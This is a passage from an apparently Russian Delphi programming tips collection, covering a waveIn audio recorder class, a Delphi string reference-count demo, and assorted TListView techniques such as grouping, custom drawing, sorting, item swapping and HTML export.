  pwavefmtex.cbSize := 0;
  { Все успешно, идем домой }
  AllocWaveFormatEx := True;
end;
{-------------InitWaveHeaders---------------John Mertus---14-Июнь--97--}
function TWaveRecorder.InitWaveHeaders: Boolean;
{ Распределяем память, обнуляем заголовок wave и инициализируем        }
{                                                                      }
{**********************************************************************}
var
  i: Integer;
begin
  { делаем размер буфера кратным величине блока... }
  WaveBufSize := fBufferSize - (fBufferSize mod pwavefmtex.nBlockAlign);
  { Устанавливаем wave-заголовки }
  for i := 0 to fTotalBuffers - 1 do
    with pWaveHeader[i]^ do
    begin
      lpData := pWaveBuffer[i]; // адрес буфера waveform
      dwBufferLength := WaveBufSize; // размер, в байтах, буфера
      dwBytesRecorded := 0; // смотри ниже
      dwUser := 0; // 32 бита данных пользователя
      dwFlags := 0; // смотри ниже
      dwLoops := 0; // смотри ниже
      lpNext := nil; // зарезервировано; должен быть ноль
      reserved := 0; // зарезервировано; должен быть ноль
    end;
  InitWaveHeaders := TRUE;
end;
{-------------AllocWaveHeader----------------John Mertus---14-Июнь--97--}
function TWaveRecorder.AllocWaveHeaders: Boolean;
{ Распределяем и блокируем память заголовка                             }
{                                                                       }
{***********************************************************************}
var
  i: Integer;
begin
  for i := 0 to fTotalBuffers - 1 do
  begin
    hwaveheader[i] := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE or
      GMEM_ZEROINIT, sizeof(TWAVEHDR));
    if (hwaveheader[i] = 0) then
    begin
      { Примечание: Это может привести к утечке памяти, надеюсь скоро исправить }
      RecErrorMessage := 'Ошибка распределения памяти для wave-заголовка';
      AllocWaveHeaders := FALSE;
      Exit;
    end;
    pwaveheader[i] := GlobalLock(hwaveheader[i]);
    if (pwaveheader[i] = nil) then
    begin
      { Примечание: Это может привести к утечке памяти, надеюсь скоро исправить }
      RecErrorMessage := 'Не могу заблокировать память заголовка для записи';
      AllocWaveHeaders := FALSE;
      Exit;
    end;
  end;
  AllocWaveHeaders := TRUE;
end;
{---------------FreeWaveHeader---------------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.FreeWaveHeader;
{ Просто освобождаем распределенную AllocWaveHeaders память.            }
{                                                                       }
{***********************************************************************}
var
  i: Integer;
begin
  for i := 0 to fTotalBuffers - 1 do
  begin
    if (hWaveHeader[i] <> 0) then
    begin
      GlobalUnlock(hwaveheader[i]);
      GlobalFree(hwaveheader[i]);
      hWaveHeader[i] := 0;
    end
  end;
end;
{-------------AllocPCMBuffers----------------John Mertus---14-Июнь--97--}
function TWaveRecorder.AllocPCMBuffers: Boolean;
{ Распределяем и блокируем память waveform.                             }
{                                                                       }
{***********************************************************************}
var
  i: Integer;
begin
  for i := 0 to fTotalBuffers - 1 do
  begin
    hWaveBuffer[i] := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE, fBufferSize);
    if (hWaveBuffer[i] = 0) then
    begin
      { Здесь возможна утечка памяти }
      RecErrorMessage := 'Ошибка распределения памяти wave-буфера';
      AllocPCMBuffers := False;
      Exit;
    end;
    pWaveBuffer[i] := GlobalLock(hWaveBuffer[i]);
    if (pWaveBuffer[i] = nil) then
    begin
      { Здесь возможна утечка памяти }
      RecErrorMessage := 'Ошибка блокирования памяти wave-буфера';
      AllocPCMBuffers := False;
      Exit;
    end;
    pWaveHeader[i].lpData := pWaveBuffer[i];
  end;
  AllocPCMBuffers := TRUE;
end;
{--------------FreePCMBuffers----------------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.FreePCMBuffers;
{ Освобождаем использованную AllocPCMBuffers память.                    }
{                                                                       }
{***********************************************************************}
var
  i: Integer;
begin
  for i := 0 to fTotalBuffers - 1 do
  begin
    if (hWaveBuffer[i] <> 0) then
    begin
      GlobalUnlock(hWaveBuffer[i]);
      GlobalFree(hWaveBuffer[i]);
      hWaveBuffer[i] := 0;
      pWaveBuffer[i] := nil;
    end;
  end;
end;
{--------------FreeWaveFormatEx--------------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.FreeWaveFormatEx;
{ Просто освобождаем заголовки ExFormat headers                         }
{                                                                       }
{***********************************************************************}
begin
  if (pWaveFmtEx = nil) then
    Exit;
  GlobalUnlock(hWaveFmtEx);
  GlobalFree(hWaveFmtEx);
  pWaveFmtEx := nil;
end;
{-------------TWaveRecorder.Create------------John Mertus-----Авг--97--}
constructor TWaveRecorder.Create(BFSize, TotalBuffers: Integer);
{ Устанавливаем wave-заголовки, инициализируем указатели данных и      }
{ и распределяем буферы дискретизации                                  }
{ BFSize - размер буфера в байтах                                      }
{                                                                      }
{**********************************************************************}
var
  i: Integer;
begin
  inherited Create;
  for i := 0 to fTotalBuffers - 1 do
  begin
    hWaveHeader[i] := 0;
    hWaveBuffer[i] := 0;
    pWaveBuffer[i] := nil;
    pWaveFmtEx := nil;
  end;
  fBufferSize := BFSize;
  fTotalBuffers := TotalBuffers;
  { распределяем память для структуры wave-формата }
  if (not AllocWaveFormatEx) then
  begin
    InitWaveRecorder := FALSE;
    Exit;
  end;
  { ищем устройство, совместимое с доступными wave-характеристиками }
  if (waveInGetNumDevs < 1) then
  begin
    RecErrorMessage := 'Не найдено устройств, способных записывать звук';
    InitWaveRecorder := FALSE;
    Exit;
  end;
  { распределяем память wave-заголовка }
  if (not AllocWaveHeaders) then
  begin
    InitWaveRecorder := FALSE;
    Exit;
  end;
  { распределяем память буфера wave-данных }
  if (not AllocPCMBuffers) then
  begin
    InitWaveRecorder := FALSE;
    Exit;
  end;
  InitWaveRecorder := TRUE;
end;
{---------------------Destroy----------------John Mertus---14-Июнь--97--}
destructor TWaveRecorder.Destroy;
{ Просто освобождаем всю память, распределенную InitWaveRecorder.       }
{                                                                       }
{***********************************************************************}
begin
  FreeWaveFormatEx;
  FreePCMBuffers;
  FreeWaveHeader;
  inherited Destroy;
end;
{------------CloseWaveDeviceRecord-----------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.CloseWaveDeviceRecord;
{ Просто освобождаем (закрываем) waveform-устройство.                   }
{                                                                       }
{***********************************************************************}
var
  i: Integer;
begin
  { если устройство уже закрыто, то выходим }
  if (not bDeviceOpen) then
    Exit;
  { работа с заголовками - unprepare }
  for i := 0 to fTotalBuffers - 1 do
    if (waveInUnprepareHeader(WaveIn, pWaveHeader[i], sizeof(TWAVEHDR)) <> 0)
      then
      RecErrorMessage := 'Ошибка в waveInUnprepareHeader';
  { сохраняем общий объем записи и обновляем показ }
  dwTotalwavesize := dwBytedatasize;
  { закрываем входное wave-устройство }
  if (waveInClose(WaveIn) <> 0) then
    RecErrorMessage := 'Ошибка закрытия входного устройства';
  { сообщаем вызвавшей функции, что устройство закрыто }
  bDeviceOpen := FALSE;
end;
{------------------StopRecord-----------------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.StopRecord;
{ Останавливаем запись и устанавливаем некоторые флаги.                 }
{                                                                       }
{***********************************************************************}
var
  iErr: Integer;
begin
  RecordActive := False;
  iErr := waveInReset(WaveIn);
  { прекращаем запись и возвращаем стоящие в очереди буферы }
  if (iErr <> 0) then
  begin
    RecErrorMessage := 'Ошибка в waveInReset';
  end;
  CloseWaveDeviceRecord;
end;
{--------------AddNextBuffer------------------John Mertus---14-Июнь--97--}
function TWaveRecorder.AddNextBuffer: Boolean;
{ Добавляем буфер ко входной очереди и переключаем буферный индекс.     }
{                                                                       }
{***********************************************************************}
var
  iErr: Integer;
begin
  { ставим буфер в очередь для получения очередной порции данных }
  iErr := waveInAddBuffer(WaveIn, pwaveheader[bufindex], sizeof(TWAVEHDR));
  if (iErr <> 0) then
  begin
    StopRecord;
    RecErrorMessage := 'Ошибка добавления буфера' + TWaveInGetErrorText(iErr);
    AddNextBuffer := FALSE;
    Exit;
  end;
  { переключаемся на следующий буфер }
  bufindex := (bufindex + 1) mod fTotalBuffers;
  QueuedBuffers := QueuedBuffers + 1;
  AddNextBuffer := TRUE;
end;
{--------------BufferDoneCallBack------------John Mertus---14-Июнь--97--}
procedure BufferDoneCallBack(
  hW: HWAVE; // дескриптор waveform-устройства
  uMsg: DWORD; // посылаемое сообщение
  dwInstance: DWORD; // экземпляр данных
  dwParam1: DWORD; // определяемый приложением параметр
  dwParam2: DWORD; // определяемый приложением параметр
  ); stdcall;
{ Вызывается при наличии у wave-устройства какой-либо информации,       }
{ например при заполнении буфера                                        }
{                                                                       }
{***********************************************************************}
var
  BaseRecorder: PWaveRecorder;
begin
  BaseRecorder := Pointer(DwInstance);
  with BaseRecorder^ do
  begin
    ProcessBuffer(uMsg, pWaveBuffer[ProcessedBuffers mod fTotalBuffers],
      WaveBufSize);
    if (RecordActive) then
      case uMsg of
        WIM_DATA:
          begin
            BaseRecorder.AddNextBuffer;
            ProcessedBuffers := ProcessedBuffers + 1;
          end;
      end;
  end;
end;
{------------------StartRecord---------------John Mertus---14-Июнь--97--}
function TWaveRecorder.StartRecord: Boolean;
{ Начало записи.                                                        }
{                                                                       }
{***********************************************************************}
var
  iErr, i: Integer;
begin
  { начало записи в первый буфер }
  iErr := WaveInStart(WaveIn);
  if (iErr <> 0) then
  begin
    CloseWaveDeviceRecord;
    RecErrorMessage := 'Ошибка начала записи wave: ' +
      TWaveInGetErrorText(iErr);
  end;
  RecordActive := TRUE;
  { ставим в очередь следующие буферы }
  for i := 1 to fTotalBuffers - 1 do
    if (not AddNextBuffer) then
    begin
      StartRecord := FALSE;
      Exit;
    end;
  StartRecord := True;
end;
{-----------------SetupRecord---------------John Mertus---14-Июнь--97--}
function TWaveRecorder.SetupRecord(P: PWaveRecorder): Boolean;
{ Данная функция делает всю работу по созданию waveform-"записывателя". }
{                                                                       }
{***********************************************************************}
var
  iErr, i: Integer;
begin
  dwTotalwavesize := 0;
  dwBytedatasize := 0;
  bufindex := 0;
  ProcessedBuffers := 0;
  QueuedBuffers := 0;
  { открываем устройство для записи }
  iErr := waveInOpen(@WaveIn, WAVE_MAPPER, pWaveFmtEx,
    Integer(@BufferDoneCallBack),
    Integer(P), CALLBACK_FUNCTION + WAVE_ALLOWSYNC);
  if (iErr <> 0) then
  begin
    RecErrorMessage := 'Не могу открыть входное устройство для записи: ' + ^M
      +
    TWaveInGetErrorText(iErr);
    SetupRecord := FALSE;
    Exit;
  end;
  { сообщаем CloseWaveDeviceRecord(), что устройство открыто }
  bDeviceOpen := TRUE;
  { подготавливаем заголовки }
  InitWaveHeaders();
  for i := 0 to fTotalBuffers - 1 do
  begin
    iErr := waveInPrepareHeader(WaveIn, pWaveHeader[I], sizeof(TWAVEHDR));
    if (iErr <> 0) then
    begin
      CloseWaveDeviceRecord;
      RecErrorMessage := 'Ошибка подготовки заголовка для записи: ' + ^M +
        TWaveInGetErrorText(iErr);
      SetupRecord := FALSE;
      Exit;
    end;
  end;
  { добавляем первый буфер }
  if (not AddNextBuffer) then
  begin
    SetupRecord := FALSE;
    Exit;
  end;
  SetupRecord := TRUE;
end;
{-----------------ProcessBuffer---------------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.ProcessBuffer(uMsg: Word; P: Pointer; n:
  Integer);
{ Болванка процедуры, вызываемой при готовности буфера.                 }
{                                                                       }
{***********************************************************************}
begin
end;
end.

LStrings.

Статьи по Delphi (011)…
unit StrForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    Button6: TButton;
    Button7: TButton;
    Label1: TLabel;
    Button1: TButton;
    Button8: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button8Click(Sender: TObject);
  private
    Test, S2, S3: String;
  public
    procedure UpdateInfo;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
function GetRefCount (const s: string) : Integer;
var
  RefCountPointer: Pointer;
begin
  if Pointer(s) <> nil then
  begin
    RefCountPointer :=
      Pointer (Integer (Pointer (s)) - 8);
    Result := Integer (RefCountPointer^);
  end
  else
    Result := 0;
end;
function GetSize (const s: String) : Integer;
var
 SizePointer: Pointer;
begin
  if Pointer(s) <> nil then
  begin
    SizePointer := Pointer (
      Integer (Pointer (s)) - 4);
    Result := Integer (SizePointer^);
  end
  else
    Result := 0;
end;
procedure TForm1.UpdateInfo;
begin
  with Listbox1.Items do
  begin
    Clear;
    Add ('Text: ' + Test);
    Add ('Pascal Size: ' + IntToStr (Length (Test)));
    Add ('PChar Size: ' + IntToStr (StrLen (PChar (Test))));
    Add (Format ('Address: %p', [Pointer (Test)]));
    Add ('Size Info: ' + IntToStr ( GetSize (Test)));
    Add ('RefCount Info: ' + IntToStr (GetRefCount (Test)));
  end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  Test := 'Test String';
  UpdateInfo;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  S2 := Test;
  UpdateInfo;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
  S2 := S2 + '*';
  UpdateInfo;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
  Test := Test + '*';
  UpdateInfo;
  end;
procedure TForm1.Button5Click(Sender: TObject);
begin
  S3 := Test;
  UpdateInfo;
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
  SetLength (Test, 100);
  GetWindowText (Handle, PChar (Test), 100);
  UpdateInfo;
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
  Test := PChar (Test);
  UpdateInfo;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  SetLength (Test, StrLen (PChar (Test)));
  UpdateInfo;
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
  Test := '';
  UpdateInfo;
end;
end.

Загрузить весь проект

Удаление пробелов в начале строки.

Автор: Hastlero WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Удаление пробелов в начале строки
Функция возвращает строку без пробелов в начале (если они были)
Зависимости: Windows, SysUtils
Автор:       Hastlero
Copyright:   HasTler0
Дата:        8 февраля 2003 г.
***************************************************** }
var
  i: Integer;
begin
  if Length(str) = 0 then
  begin
    DelSpaces := str;
    Exit;
  end;
  for i := 1 to length(str) do
  begin
    if pos(' ', str) = 1 then
      delete(str, 1, 1)
    else
    begin
      DelSpaces := str;
      Break;
    end;
  end;
end;

Пример использования:

Str := DelSpaces(Str); 

Добавление записей в TStrings, TTreeView или TListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Bei der Klasse TStrings und den Komponenten TTreeview/TListview gibt es die 
  Moglichkeit, neben dem einfachen einfugen eines Strings auch Objekte mitanzufugen. 
  Da eine Klasse TObject erwartet wird, muss man einen kleinen Umweg programmieren. 
}
 { 
  The Classes TStrings and the components TTreeview/TListview allow you to add an 
  additional Object to a string. 
  Since a TObject is expected, you need to make a little detour to achive this. 
}
 type
   TMyRecord = record
     id: Integer;
     Name: string;
     {...}
   end;
   PMyRecord = ^TMyRecord;
   {...}
   { In this example I use a Listview component }
 procedure Form1.Form1Create(Sender: TObject)
   var
   i: Integer;
   pRec: PMyRecord;
 begin
   for i := 0 to 10 do
   begin
     new(pRec);
     pRec.id := i;
     pRec.Name := 'Entry' + IntToStr(i);
     {...}
     ListView1.AddItem('Entry' + IntToStr(i), Pointer(pRec));
   end;
 end;
 { To retrieve the stored records just use this: }
 procedure Form1.ListView1Click(Sender: TObject);
 var
   i: Integer;
   xRec: TMyRec;
 begin
   for i := 0 to Listview1.Count - 1 do
     if ListView1.Selected[i] then
     begin
       xRec := PMyRecord(ListView1.Items.Objects[i])^;
       ShowMessage(Format('Record #%d Name: %s', [xRec.id, xRec.Name]));
     end;
 end;
 { finally do not forget to free assigned memory }
 procedure Form1.FormClose(Sender: TObject);
 var
   i: Integer;
 begin
   for i := 0 to ListView1.Count - 1 do
     if ListView1.Items.Objects[i] <> nil then
       Dispose(ListView1.Items.Objects[i]);
 end;

Отображать элементы TListView как группу XP.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// declarations from commctrl.h 
type
   TLVGROUP = record
     cbSize: UINT;
     mask: UINT;
     pszHeader: LPWSTR;
     cchHeader: Integer;
     pszFooter: LPWSTR;
     cchFooter: Integer;
     iGroupIdL: Integer;
     stateMask: UINT;
     state: UINT;
     uAlign: UINT;
   end;
   tagLVITEMA = packed record
     mask: UINT;
     iItem: Integer;
     iSubItem: Integer;
     state: UINT;
     stateMask: UINT;
     pszText: PAnsiChar;
     cchTextMax: Integer;
     iImage: Integer;
     lParam: lParam;
     iIndent: Integer;
     iGroupId: Integer;
     cColumns: UINT;
     puColumns: PUINT;
   end;
   TLVITEMA = tagLVITEMA;
 const
   LVM_ENABLEGROUPVIEW = LVM_FIRST + 157;
   LVM_MOVEITEMTOGROUP = LVM_FIRST + 154;
   LVM_INSERTGROUP     = LVM_FIRST + 145;
   LVIF_GROUPID = $0100;
   LVGF_HEADER  = $00000001;
   LVGF_ALIGN   = $00000008;
   LVGF_GROUPID = $00000010;
   LVGA_HEADER_LEFT   = $00000001;
   LVGA_HEADER_CENTER = $00000002;
   LVGA_HEADER_RIGHT  = $00000004;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   LvGroup: TLVGROUP;
   LvItemA: TLVITEMA;
   ListItem: TListItem;
   I: Byte;
 begin
   // Fill listview with random data 
  Randomize;
   for i := 1 to 10 do
   begin
     ListItem := ListView1.Items.Add;
     ListItem.Caption := IntToStr(Random(100));
   end;
   SendMessage(ListView1.Handle, LVM_ENABLEGROUPVIEW, 1, 0);
   // Create Group1 
  FillChar(LvGroup, SizeOf(TLVGROUP), 0);
   with LvGroup do
   begin
     cbSize := SizeOf(TLVGROUP);
     mask := LVGF_HEADER or LVGF_ALIGN or LVGF_GROUPID;
     pszHeader := 'Group 1';
     cchHeader := Length(LvGroup.pszHeader);
     iGroupIdL := 0;
     uAlign := LVGA_HEADER_CENTER;
   end;
   SendMessage(ListView1.Handle, LVM_INSERTGROUP, 0, Longint(@LvGroup));
   // Create Group2 
  FillChar(LvGroup, SizeOf(LvGroup), 0);
   with LvGroup do
   begin
     cbSize := SizeOf(TLVGROUP);
     mask := LVGF_HEADER or LVGF_ALIGN or LVGF_GROUPID;
     pszHeader := 'Group 2';
     cchHeader := Length(LvGroup.pszHeader);
     iGroupIdL := 1;
     uAlign := LVGA_HEADER_LEFT
   end;
   SendMessage(ListView1.Handle, LVM_INSERTGROUP, 1, Longint(@LvGroup));
   // Assign items to the groups 
  for I := 0 to ListView1.Items.Count - 1 do
   begin
     with LvItemA do
     begin
       FillChar(LvItemA, SizeOf(TLvItemA), 0);
       mask := LVIF_GROUPID;
       iItem := I;
       iGroupId := Random(2);
     end;
     SendMessage(ListView1.Handle, LVM_SETITEM, 0, Longint(@LvItemA))
   end;
 end;
 // XPManifest needed! 

Чередование фона строк в TListView.

Автор: Subfire WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Чередование фона строк в TListView
Да какое описание...
Вообщем можно просто copy/past сделать...
Хотя реализация не оптимальная, но общая идея - та что нужна =)))
Зависимости: нету =)
Автор:       Subfire, subfire@mail.ru, Питер
Copyright:   =) не нужно
Дата:        19 февраля 2003 г.
***************************************************** }
procedure TForm1.ListView1CustomDrawItem(Sender: TCustomListView;
  Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
var
  i: word;
begin
  if item = nil then
    EXIT;
  i := Item.Index;
  if trunc((i) / 2) < (i / 2) then
    sender.canvas.brush.Color := cl3DLight
  else
    sender.canvas.brush.Color := clwhite;
end;

Определить нажатие на CheckBoxe TListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.ListView1MouseUp(Sender: TObject; Button: TMouseButton;
   Shift: TShiftState; X, Y: Integer);
 var
   Item: TListItem;
   HitTest: THitTests;
 begin
   // Welchem Item gеhцгt die CheckBox 
  // Which item belongs to the checkbox 
  Item := ListView1.GetItemAt(x, y);
   // Was wurde vom Item genau angeklickt 
  // What kind of thing was hit on the item 
  HitTest := ListView1.GetHitTestInfoAt(x, y);
   // Falls ein Item angeklickt wurde und davon die Checkbox 
  // If an Item was hit and exactly his checkbox 
  if (Item <> nil) and (HitTest = [htOnStateIcon]) then
   begin
     //////////////////////////////// 
    // Hier das OnCheck behandeln // 
    // Handle OnCheck here        // 
    //////////////////////////////// 
    // Beispiel 
    // Example 
    // 
    //  if Item.Checked = False then 
    //  begin 
    //    if (Item.Index = 0) or (ListView1.Items.Item[Item.Index - 1].Checked = True) then 
    //      Item.Checked := True else Item.Checked := False; 
    //  end else 
    //    begin 
    //    if (Item.Index = ListView1.Items.Count - 1) or (ListView1.Items.Item[Item.Index + 1].Checked = False) then Item.Checked := False else 
    //      Item.Checked := True; 
    //  end; 
  end;
 end;

Цветные строки для TListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.ListView1CustomDrawItem(Sender: TCustomListView;
   Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
 begin
   with ListView1.Canvas.Brush do
   begin
     case Item.Index of
       0: Color := clYellow;
       1: Color := clGreen;
       2: Color := clRed;
     end;
   end;
 end;

Определить, по какой колонке в TListView был произведен щелчок.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TFormMain.Listview1ColumnClick(Sender: TObject; Column: TListColumn);
 var
   ColumnNr: Integer;
 begin
   ColumnNr := Listview1.Column[Column.Index].Index;
   ShowMessage(IntToStr(ColumnNr));
 end;

Сортировать TListView, используя нужный метод.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  This example shows how to use the TListView's CustomSort method to 
  sort the items in the list using a ordering function. 
  This allows you to sort custom data in the correct order you want. 
  When the user clicks on a column header, the ListView will be sorted 
  by that column. 
  If the user clicks on the same column again, the sort order will be toggled. 
  (***) 
  Dieses Beispiel zeigt die Verwendung der CustomSort Methode einer TListView. 
  Damit kann man z.B Zahlen korrekt (d.h nach ihrer Grosse) sortieren lassen. 
  Wenn der Anwender auf den Kopf einer Spalte klickt, wird die ensprechende 
  Spalte sortiert. Bei nochmaligem Klicken auf dieselbe Spalte wird die 
  Sortierreihenfolge umgekehrt. 
}
 { custom sort styles }
 type
   TCustomSortStyle = (cssAlphaNum, cssNumeric, cssDateTime);
 var
   { variable to hold the sort style }
   LvSortStyle: TCustomSortStyle;
   { array to hold the sort order }
   LvSortOrder: array[0..4] of Boolean; // High[LvSortOrder] = Number of Lv Columns 
implementation
 {$R *.DFM}
 function CustomSortProc(Item1, Item2: TListItem; SortColumn: Integer): Integer; stdcall;
 var
   s1, s2: string;
   i1, i2: Integer;
   r1, r2: Boolean;
   d1, d2: TDateTime;
   { Helper functions }
   function IsValidNumber(AString : string; var AInteger : Integer): Boolean;
   var
     Code: Integer;
   begin
     Val(AString, AInteger, Code);
     Result := (Code = 0);
   end;
   function IsValidDate(AString : string; var ADateTime : TDateTime): Boolean;
   begin
     Result := True;
     try
       ADateTime := StrToDateTime(AString);
     except
       ADateTime := 0;
       Result := False;
     end;
   end;
   function CompareDates(dt1, dt2: TDateTime): Integer;
   begin
     if (dt1 > dt2) then Result := 1
     else
       if (dt1 = dt2) then Result := 0
     else
       Result := -1;
   end;
   function CompareNumeric(AInt1, AInt2: Integer): Integer;
   begin
     if AInt1 > AInt2 then Result := 1
     else
       if AInt1 = AInt2 then Result := 0
     else
       Result := -1;
   end;
 begin
   Result := 0;
   if (Item1 = nil) or (Item2 = nil) then Exit;
   case SortColumn of
     -1 :
     { Compare Captions }
     begin
       s1 := Item1.Caption;
       s2 := Item2.Caption;
     end;
     else
     { Compare Subitems }
     begin
       s1 := '';
       s2 := '';
       { Check Range }
       if (SortColumn < Item1.SubItems.Count) then
         s1 := Item1.SubItems[SortColumn];
       if (SortColumn < Item2.SubItems.Count) then
         s2 := Item2.SubItems[SortColumn]
     end;
   end;
   { Sort styles }
   case LvSortStyle of
     cssAlphaNum : Result := lstrcmp(PChar(s1), PChar(s2));
     cssNumeric  : begin
                     r1 := IsValidNumber(s1, i1);
                     r2 := IsValidNumber(s2, i2);
                     Result := ord(r1 or r2);
                     if Result <> 0 then
                       Result := CompareNumeric(i2, i1);
                   end;
     cssDateTime : begin
                     r1 := IsValidDate(s1, d1);
                     r2 := IsValidDate(s2, d2);
                     Result := ord(r1 or r2);
                     if Result <> 0 then
                       Result := CompareDates(d1, d2);
                   end;
   end;
   { Sort direction }
   if LvSortOrder[SortColumn + 1] then
     Result := - Result;
 end;
 { The ListView's OnColumnClick event }
 procedure TForm1.ListView1ColumnClick(Sender: TObject; Column: TListColumn);
 begin
   { determine the sort style }
   if Column.Index = 0 then
     LvSortStyle := cssAlphaNum
   else
     LvSortStyle := cssNumeric;
   { Call the CustomSort method }
   ListView1.CustomSort(@CustomSortProc, Column.Index -1);
   { Set the sort order for the column}
   LvSortOrder[Column.Index] := not LvSortOrder[Column.Index];
 end;

Ускорить удаление элементов из TListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure AddNewListViewItems;
 var
   oldViewStyle: TViewStyle;
 begin
   odlViewStyle := ListView1.ViewStyle;
   ListView1.ViewStyle := vsList;
   ListView1.Items.Clear;
   { Add new Listitems here }
   { An dieser werden die neuen ListItems eingefugt }
   ListView1.ViewStyle := oldViewStyle;
 end;

Обмен значениями элементов TListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

Today I want to describe how you may exchange some items in standard TListView. For example, you have 5 items and want to swap positions for first and third items Problem that standard TListView component haven''t such method and you must realize it yourself. We remember that the standard way from old Pascal times (for numbers) is:
 procedure Swap(X, Y: Integer);
 var
   s: Integer;
 begin
   s := X;
   X := Y;
   Y := X
 end;
Something similar we can do with TListItem too. But just to save all strings (caption+sub items) somewhere is not enough because TListItem class have a lot of other information (image indexes, pointer as Data, etc) So correct way is to use Assign method:
 procedure ExchangeItems(lv: TListView; const i, j: Integer);
 var
   tempLI: TListItem;
 begin
   lv.Items.BeginUpdate;
   try
     tempLI := TListItem.Create(lv.Items);
     tempLI.Assign(lv.Items.Item[i]);
     lv.Items.Item[i].Assign(lv.Items.Item[j]);
     lv.Items.Item[j].Assign(tempLI);
     tempLI.Free;
   finally
     lv.Items.EndUpdate
   end;
 end;
So structure is a same as in our sample for Integer. All what we added are BeginUpdate and EndUpdate (just allow to reduce a flickering) So if you want to exchange items in any ListView, just call this procedure...

Предотвратить изменение ширины колонки для TListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

private
   FListViewOldWndProc: TWndMethod;
   procedure ListViewNewWndProc(var Msg: TMessage);
 end;
 {....}
 implementation
 uses
   CommCtrl;
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   //Sichern der ursprunglichen WindowProc der Listview 
  FListViewOldWndProc := ListView1.WindowProc;
   //Subclassing: Umleiten der WindowProc auf unsere eigene Procedur 
  Listview1.WindowProc := ListViewNewWndProc;
 end;
 procedure TForm1.ListViewNewWndProc(var Msg: TMessage);
 var
   hdn: ^THDNotify;
 begin
   if Msg.Msg = WM_NOTIFY then
   begin
     hdn := Pointer(Msg.lParam);
     //Abfangen und loschen der HDN_BeginTrack Botschaft 
    if (hdn.hdr.code = HDN_BeginTrackW) or (hdn.hdr.code = HDN_BeginTrackA) then
       Msg.Result := 1
     else
       FListViewOldWndProc(Msg);
   end
   // ansonsten Botschaft an die ursprungliche WindowProc weiterreichen 
  else
      FListViewOldWndProc(Msg);
 end;
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   //vor dem Beenden Original WindowProc wiederherstellen 
  ListView1.WindowProc := FlistViewOldWndProc;
   FListViewOldWndProc  := nil;
 end;

Создать TListView, который автоматически пересортирует при щелчке на заголовке колонки.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

unit SortedListView;
 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   ComCtrls;
 type
   TSortedListView = class(TListView)
   private
     FSortColumn: Integer;
     procedure SetSortColumn(const Value: Integer);
     procedure SortedListViewCompare(Sender: TObject; Item1, Item2: TListItem;
       Data: Integer; var Compare: Integer);
     procedure SortedListViewColumnClick(Sender: TObject; Column: TListColumn);
     { Private declarations }
   protected
     { Protected declarations }
   public
     constructor Create(AOwner: TComponent); override;
     { Public declarations }
   published
     { Published declarations }
     property SortColumn: Integer read FSortColumn write SetSortColumn;
   end;
 implementation
 {==============================================================================}
 { TSortedListView }
 {==============================================================================}
 constructor TSortedListView.Create(AOwner: TComponent);
 begin
   inherited;
   OnColumnClick := SortedListViewColumnClick;
   OnCompare := SortedListViewCompare;
 end;
 {==============================================================================}
 procedure TSortedListView.SetSortColumn(const Value: Integer);
 begin
   FSortColumn := Value;
   AlphaSort;
 end;
 {==============================================================================}
 procedure TSortedListView.SortedListViewColumnClick(Sender: TObject;
   Column: TListColumn);
 begin
   SortColumn := Column.Index;
 end;
 {==============================================================================}
 procedure TSortedListView.SortedListViewCompare(Sender: TObject;
   Item1, Item2: TListItem; Data: Integer; var Compare: Integer);
 begin
   if SortColumn = 0 then
     Compare := CompareText(Item1.Caption, Item2.Caption)
   else
     Compare := CompareText(Item1.SubItems[SortColumn - 1], Item2.SubItems[SortColumn - 1]);
 end;
 end.

Сохранить TListView как HTML страницу.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function ListViewConfHTML(Listview:TListview; output:string; center: Boolean) : Boolean;
 var
   i,f: Integer;
   tfile: TextFile;
 begin
   try
     ForceDirectories(ExtractFilePath(output));
     AssignFile(tfile,output);
     ReWrite(tfile);
     WriteLn(tfile,'<html>');
